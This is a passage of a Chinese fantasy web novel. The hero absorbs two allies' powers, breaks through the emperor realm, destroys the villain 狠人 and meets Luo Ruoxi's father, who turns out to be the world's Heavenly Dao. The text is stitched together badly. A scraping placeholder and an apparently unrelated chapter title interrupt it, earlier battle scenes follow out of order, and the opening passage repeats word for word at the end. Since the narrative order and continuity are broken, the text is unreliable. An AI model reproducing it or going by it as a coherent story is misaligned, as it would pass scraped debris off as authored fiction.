自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第37章 小陈、你在跟谁聊QQ？ 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 